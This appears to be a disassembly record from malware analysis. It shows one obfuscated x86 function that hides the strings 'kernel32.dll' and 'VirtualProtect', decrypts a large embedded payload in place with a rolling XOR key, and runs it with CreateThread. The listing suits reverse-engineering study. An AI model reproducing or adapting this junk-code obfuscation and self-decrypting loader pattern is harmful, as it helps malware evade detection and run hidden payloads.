Function at 0x640fda
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
pop ebx
call fcn.006413f0
push edi
push edx
pop edx
pop edi
pushfd
push eax
add esp, 4
popfd
lea eax, [ebp - 0xd8]
push esi
push edi
pop edi
pop esi
mov ebx, 0x61
push ecx
pop ecx
add bx, 0xa
push edi
push ebx
pop ebx
pop edi
pushfd
push 0x55eb805a
add esp, 4
popfd
mov word [eax], bx
pushfd
push ecx
add esp, 4
popfd
sub bx, 6
push eax
push esi
pop esi
pop eax
pushfd
xor esi, 0xf2d99ea5
xor esi, 0xf2d99ea5
popfd
mov word [eax + 2], bx
pushfd
xor eax, 0x8d59c49a
xor eax, 0x8d59c49a
popfd
push edi
pop edi
add bx, 0xd
xchg edi, edi
pushfd
inc edi
dec edi
popfd
mov word [eax + 4], bx
mov eax, eax
xchg edi, eax
xchg edi, eax
sub bx, 4
pushfd
push edi
add esp, 4
popfd
xchg edx, edx
mov word [eax + 6], bx
pushfd
xor ebx, 0x549b65f1
xor ebx, 0x549b65f1
popfd
push eax
push edi
pop edi
pop eax
sub bx, 9
mov ecx, ecx
push esi
push ecx
pop ecx
pop esi
mov word [eax + 8], bx
mov ebx, ebx
add bx, 7
pushfd
push 0xcbc84bdb
add esp, 4
popfd
xchg esi, edx
xchg edx, esi
mov word [eax + 0xa], bx
xchg edx, edx
sub bx, 0x39
xchg esi, eax
xchg esi, eax
pushfd
xor esi, 0x3b96b88a
xor esi, 0x3b96b88a
popfd
mov word [eax + 0xc], bx
push ecx
push edi
pop edi
pop ecx
mov eax, eax
dec bx
pushfd
push edi
add esp, 4
popfd
mov edx, edx
mov word [eax + 0xe], bx
pushfd
xor esi, 0x1e1e7b89
xor esi, 0x1e1e7b89
popfd
sub bx, 4
pushfd
xor ecx, 0x46e7b634
xor ecx, 0x46e7b634
popfd
mov word [eax + 0x10], bx
push ecx
pop ecx
nop
add bx, 0x36
push edx
pop edx
mov word [eax + 0x12], bx
pushfd
push 0xa25f00c3
add esp, 4
popfd
add bx, 8
push edx
push ebx
pop ebx
pop edx
mov word [eax + 0x14], bx
push ebx
push edi
pop edi
pop ebx
mov ebx, ebx
mov word [eax + 0x16], bx
xchg edi, ebx
xchg ebx, edi
push ebx
push ecx
pop ecx
pop ebx
mov word [eax + 0x18], 0
pushfd
inc esi
dec esi
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
xchg edx, esi
xchg esi, edx
mov dword [ebp - 0x10], eax
pushfd
inc esi
dec esi
popfd
xchg edx, edx
lea eax, [ebp - 0xd8]
pushfd
xor edi, 0x58ac4fa2
xor edi, 0x58ac4fa2
popfd
mov ebx, 0x61
push edx
pop edx
pushfd
xor edx, 0x70ca5c5b
xor edx, 0x70ca5c5b
popfd
sub bl, 0xb
pushfd
xor edx, 0xb866f360
xor edx, 0xb866f360
popfd
mov byte [eax], bl
xchg ecx, ecx
add bl, 0x13
push eax
pop eax
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 1], bl
push eax
pop eax
add bl, 9
pushfd
xor ebx, 0x630ebd42
xor ebx, 0x630ebd42
popfd
mov byte [eax + 2], bl
push edi
pop edi
add bl, 2
xchg ebx, ebx
mov byte [eax + 3], bl
pushfd
push esi
add esp, 4
popfd
inc bl
pushfd
inc edi
dec edi
popfd
push edx
pop edx
mov byte [eax + 4], bl
pushfd
push 0x8906696a
add esp, 4
popfd
sub bl, 0x14
xchg edx, edx
mov byte [eax + 5], bl
pushfd
xor esi, 0x3b2ce010
xor esi, 0x3b2ce010
popfd
mov ebx, ebx
add bl, 0xb
xchg esi, esi
mov byte [eax + 6], bl
pushfd
push ebx
add esp, 4
popfd
sub bl, 0x1c
push ebx
pop ebx
mov byte [eax + 7], bl
pushfd
push ebx
add esp, 4
popfd
add bl, 0x22
pushfd
push 0x95a43a96
add esp, 4
popfd
push esi
push edx
pop edx
pop esi
mov byte [eax + 8], bl
pushfd
push ebx
add esp, 4
popfd
sub bl, 3
push ecx
pop ecx
mov byte [eax + 9], bl
mov eax, eax
xchg ebx, esi
xchg esi, ebx
add bl, 5
push esi
pop esi
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0xa], bl
pushfd
inc ebx
dec ebx
popfd
push ebx
push esi
pop esi
pop ebx
sub bl, 0xf
push ecx
pop ecx
mov byte [eax + 0xb], bl
pushfd
push 0xfb7d139c
add esp, 4
popfd
sub bl, 2
push eax
push esi
pop esi
pop eax
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 0xc], bl
xchg edi, edi
add bl, 0x11
push ebx
pop ebx
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0xd], bl
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0xe], 0
pushfd
inc ebx
dec ebx
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
xor eax, 0x9c0833a2
xor eax, 0x9c0833a2
popfd
mov ecx, ecx
mov dword [ebp - 0xc], eax
pushfd
push 0x32c65320
add esp, 4
popfd
xchg esi, esi
lea eax, [ebp - 8]
mov ecx, ecx
push eax
push 4
push 0x1e50ab
push entry0
call dword [ebp - 0xc]
pushfd
push 0xc364f154
add esp, 4
popfd
push esi
pop esi
mov edi, entry0
pushfd
push 0xef0cfd5b
add esp, 4
popfd
mov esi, 0x40100e
pushfd
xor esi, 0x51cb1b05
xor esi, 0x51cb1b05
popfd
mov ecx, 0x1e50ab
xchg esi, edx
xchg edx, esi
mov edx, 0xc109ca51
xchg ebx, ebx
xchg ecx, eax
xchg ecx, eax
mov ebx, 0x21100444
pushfd
xor ebx, 0x4f69aa8b
xor ebx, 0x4f69aa8b
popfd
pushfd
push ebx
add esp, 4
popfd
cld
xchg edx, edx
lodsb al, byte [esi]
xchg edx, edx
xor al, dl
mov edx, edx
stosb byte es:[edi], al
mov edi, edi
ror edx, 5
xchg ecx, ecx
imul edx, edx, 7
xchg esi, esi
test ebx, 1
mov eax, eax
je 0x641335
nop
add esi, 1
nop
ror ebx, 1
nop
dec ecx
mov eax, eax
test ecx, ecx
xchg edi, edi
jne 0x641310
pushfd
xor ebx, 0x6ea03ab9
xor ebx, 0x6ea03ab9
popfd
pushfd
inc edx
dec edx
popfd
lea eax, [ebp - 8]
push eax
pop eax
push eax
push 0x20
push 0x1e50ab
push entry0
call dword [ebp - 0xc]
pushfd
push edx
add esp, 4
popfd
pushfd
push 0x275e5c07
add esp, 4
popfd
lea eax, [ebp - 4]
pushfd
push 0xc4185dff
add esp, 4
popfd
pushfd
push 0xe35098b3
add esp, 4
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
xchg ecx, ecx
pushfd
push 0x5cbaf262
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg esi, esi
jmp 0x6413a5